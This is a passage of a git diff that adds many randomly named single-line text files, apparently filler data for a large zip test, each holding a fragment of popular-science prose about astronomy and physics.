@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_jiepkuafjfwssuqxcccsd.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_jiepkuafjfwssuqxcccsd.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_jiepkuafjfwssuqxcccsd.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_jkgzjvefdyneyccxzwcvesrp.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_jkgzjvefdyneyccxzwcvesrp.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_jkgzjvefdyneyccxzwcvesrp.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_jxrvpmzkxzb.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_jxrvpmzkxzb.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_jxrvpmzkxzb.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_ltflzozygvclsjoygfvxx.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_ltflzozygvclsjoygfvxx.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_ltflzozygvclsjoygfvxx.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_mszrupbm.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_mszrupbm.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_mszrupbm.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_oimlnpjisqljynjwenpqhx.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_oimlnpjisqljynjwenpqhx.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_oimlnpjisqljynjwenpqhx.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_otquevcwckgvlapqobb.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_otquevcwckgvlapqobb.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_otquevcwckgvlapqobb.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_pclpedmrsqauxds.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_pclpedmrsqauxds.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_pclpedmrsqauxds.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_purxhgfgzjetznrbax.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_purxhgfgzjetznrbax.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_purxhgfgzjetznrbax.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_vleqijmjvxfydsd.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_vleqijmjvxfydsd.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_vleqijmjvxfydsd.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_vwsqocftgvofutcwzwtkwsyj.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_vwsqocftgvofutcwzwtkwsyj.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_vwsqocftgvofutcwzwtkwsyj.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_zlfggmle.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_zlfggmle.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_zlfggmle.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_zscuebpu.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_zscuebpu.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_zscuebpu.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_zwweurdggbt.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_zwweurdggbt.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_zwweurdggbt.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/dhxazvxiiamhvcpzkooxtt.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/dhxazvxiiamhvcpzkooxtt.txt
new file mode 100644
index 0000000..c57be7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/dhxazvxiiamhvcpzkooxtt.txt
@@ -0,0 +1 @@
+to be incorporated by life once it arose. In addition, we know that montmorillonite clays are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/ehaowuesymkaxsxnax.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/ehaowuesymkaxsxnax.txt
new file mode 100644
index 0000000..64b1444
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/ehaowuesymkaxsxnax.txt
@@ -0,0 +1 @@
+smaller black holes; and (6) quasars are ‘white holes,’ the other side of black holes, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_bqvgxpocuebjquryvwvsod.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_bqvgxpocuebjquryvwvsod.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_bqvgxpocuebjquryvwvsod.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_bxcbwkbpx.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_bxcbwkbpx.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_bxcbwkbpx.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_choygswfazkwx.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_choygswfazkwx.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_choygswfazkwx.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_cwxzsssnpzi.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_cwxzsssnpzi.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_cwxzsssnpzi.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_eeuzzmtzqxtjne.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_eeuzzmtzqxtjne.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_eeuzzmtzqxtjne.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_fesumgubtonruyvfeqweduu.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_fesumgubtonruyvfeqweduu.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_fesumgubtonruyvfeqweduu.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_hqoiklnwyiixrmg.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_hqoiklnwyiixrmg.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_hqoiklnwyiixrmg.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_huxgesvirtwhhsg.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_huxgesvirtwhhsg.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_huxgesvirtwhhsg.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_iecnbjovtzknxq.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_iecnbjovtzknxq.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_iecnbjovtzknxq.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_ixautwhzshqlhdq.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_ixautwhzshqlhdq.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_ixautwhzshqlhdq.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_lpjqwfsagjgexnbaxyjzip.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_lpjqwfsagjgexnbaxyjzip.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_lpjqwfsagjgexnbaxyjzip.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_mcnfcjalspv.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_mcnfcjalspv.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_mcnfcjalspv.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_nmqpozrdgsfvzoxaorjy.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_nmqpozrdgsfvzoxaorjy.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_nmqpozrdgsfvzoxaorjy.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_pduexzpfrph.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_pduexzpfrph.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_pduexzpfrph.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_prtbwphamvs.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_prtbwphamvs.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_prtbwphamvs.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_rcspjpmqguyveb.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_rcspjpmqguyveb.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_rcspjpmqguyveb.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_rddxdsde.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_rddxdsde.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_rddxdsde.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_rpubagabhqnizeyycw.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_rpubagabhqnizeyycw.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_rpubagabhqnizeyycw.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_spbgtuikeypt.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_spbgtuikeypt.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_spbgtuikeypt.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_suxjkldjxaodpiibwhph.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_suxjkldjxaodpiibwhph.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_suxjkldjxaodpiibwhph.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_wvsuuqsl.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_wvsuuqsl.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_wvsuuqsl.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_ynjzgqiaqlanjychwdmw.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_ynjzgqiaqlanjychwdmw.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_ynjzgqiaqlanjychwdmw.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_zcjrmsenracfj.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_zcjrmsenracfj.txt
new file mode 100644
index 0000000..44d9b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/file_zcjrmsenracfj.txt
@@ -0,0 +1 @@
+we are tied to Earth. The average distance between the stars is a few light-years, a light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/goivbknxlv.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/goivbknxlv.txt
new file mode 100644
index 0000000..b20cfd8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/goivbknxlv.txt
@@ -0,0 +1 @@
+eventually they would understand that it lived not in their atmosphere, but out among the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/inouhshdfnmmjbjvtnj.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/inouhshdfnmmjbjvtnj.txt
new file mode 100644
index 0000000..5631b84
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/inouhshdfnmmjbjvtnj.txt
@@ -0,0 +1 @@
+only like a boy, playing on the seashore, and diverting myself, in now and then finding a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/joyhiuilfauwm.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/joyhiuilfauwm.txt
new file mode 100644
index 0000000..4320090
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/joyhiuilfauwm.txt
@@ -0,0 +1 @@
+consequences would have followed, including immobilization of the sample arm. But we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/jqycepayhhzivtkx.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/jqycepayhhzivtkx.txt
new file mode 100644
index 0000000..0ed6a13
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/jqycepayhhzivtkx.txt
@@ -0,0 +1 @@
+striking contrast to the messy reality of the workaday world. They believed that in their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/jufzytqolbwpzug.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/jufzytqolbwpzug.txt
new file mode 100644
index 0000000..af90814
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/jufzytqolbwpzug.txt
@@ -0,0 +1 @@
+thumbs. There is nothing intrinsically best about our particular configuration of fingers,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/lduknhnrogdfebpfxgxor.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/lduknhnrogdfebpfxgxor.txt
new file mode 100644
index 0000000..cfae415
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/lduknhnrogdfebpfxgxor.txt
@@ -0,0 +1 @@
+ratios in musical harmonies seems clearly to be based on observation, or even experiment on the sounds
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/ntnqqjoxm.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/ntnqqjoxm.txt
new file mode 100644
index 0000000..8822f87
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/ntnqqjoxm.txt
@@ -0,0 +1 @@
+laboratory, were not designed for the arid polar wasteland.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/ohcowhvtxouyavpqjvuljy.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/ohcowhvtxouyavpqjvuljy.txt
new file mode 100644
index 0000000..9740376
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/ohcowhvtxouyavpqjvuljy.txt
@@ -0,0 +1 @@
+of the other. The potential enemy is assured that if the limit is transgressed, nuclear war
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/prtlpyigvjfdht.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/prtlpyigvjfdht.txt
new file mode 100644
index 0000000..0a33fdc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/prtlpyigvjfdht.txt
@@ -0,0 +1 @@
+10 8 m/sec) = 1/(10 8 /sec) =10 -8 sec, or a hundredth of a microsecond. In this calculation we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/pwhbgqktfzilkrbypydlz.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/pwhbgqktfzilkrbypydlz.txt
new file mode 100644
index 0000000..4a48c58
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/pwhbgqktfzilkrbypydlz.txt
@@ -0,0 +1 @@
+significantly only because it takes so long to move. The Milky Way rotates once every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/rcfseejocwmocdaoqm.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/rcfseejocwmocdaoqm.txt
new file mode 100644
index 0000000..ee90d1b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/rcfseejocwmocdaoqm.txt
@@ -0,0 +1 @@
+to grasp. We might have a tendency to dismiss these laws as mere mathematical tinkering,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/tdvmndwjcwqmdnmsxru.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/tdvmndwjcwqmdnmsxru.txt
new file mode 100644
index 0000000..fbd456c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/tdvmndwjcwqmdnmsxru.txt
@@ -0,0 +1 @@
+contracting once every few millennia, eventually spewing its atmosphere into space in one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/uhftrnsvffruaxqpzapkq.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/uhftrnsvffruaxqpzapkq.txt
new file mode 100644
index 0000000..24507b6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/uhftrnsvffruaxqpzapkq.txt
@@ -0,0 +1 @@
+digest an apple.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/uldwrspbnaczgxyovg.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/uldwrspbnaczgxyovg.txt
new file mode 100644
index 0000000..1bd923a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/uldwrspbnaczgxyovg.txt
@@ -0,0 +1 @@
+I think the lifeforms on many worlds will consist, by and large, of the same atoms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/xzfaipvswwrqvhokxednrdou.txt b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/xzfaipvswwrqvhokxednrdou.txt
new file mode 100644
index 0000000..3bf9f98
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/folder_xjrxsjiuvk/xzfaipvswwrqvhokxednrdou.txt
@@ -0,0 +1 @@
+was fascinated by Fourier’s collection of Egyptian artifacts, collected during the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/anvonehxeemlqzlopkbe.txt b/big_zip/big-zip-files/folder_rjbcmioctq/anvonehxeemlqzlopkbe.txt
new file mode 100644
index 0000000..3ba8f09
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/anvonehxeemlqzlopkbe.txt
@@ -0,0 +1 @@
+traveled between Brooklyn and Manhattan across the East River by ferry. In the nineteenth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/ebyeqdcdwvoxs.txt b/big_zip/big-zip-files/folder_rjbcmioctq/ebyeqdcdwvoxs.txt
new file mode 100644
index 0000000..03905e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/ebyeqdcdwvoxs.txt
@@ -0,0 +1 @@
+spread from a point on the water’s surface, then I throw a stone into the pond. First the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_cdzwairvzskpirtn.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_cdzwairvzskpirtn.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_cdzwairvzskpirtn.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_dsrjezcanroks.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_dsrjezcanroks.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_dsrjezcanroks.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_etvnzgfkernrommilmt.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_etvnzgfkernrommilmt.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_etvnzgfkernrommilmt.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_gncpwuud.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_gncpwuud.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_gncpwuud.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_ikygpegmhx.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_ikygpegmhx.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_ikygpegmhx.txt
@@ -0,0 +1 @@
+laws that apply to the Earth are also the underpinnings of quantitative physical laws that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rjbcmioctq/file_irkopeym.txt b/big_zip/big-zip-files/folder_rjbcmioctq/file_irkopeym.txt
new file mode 100644
index 0000000..f8f5b53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rjbcmioctq/file_irkopeym.txt
@@ -0,0 +1 @@
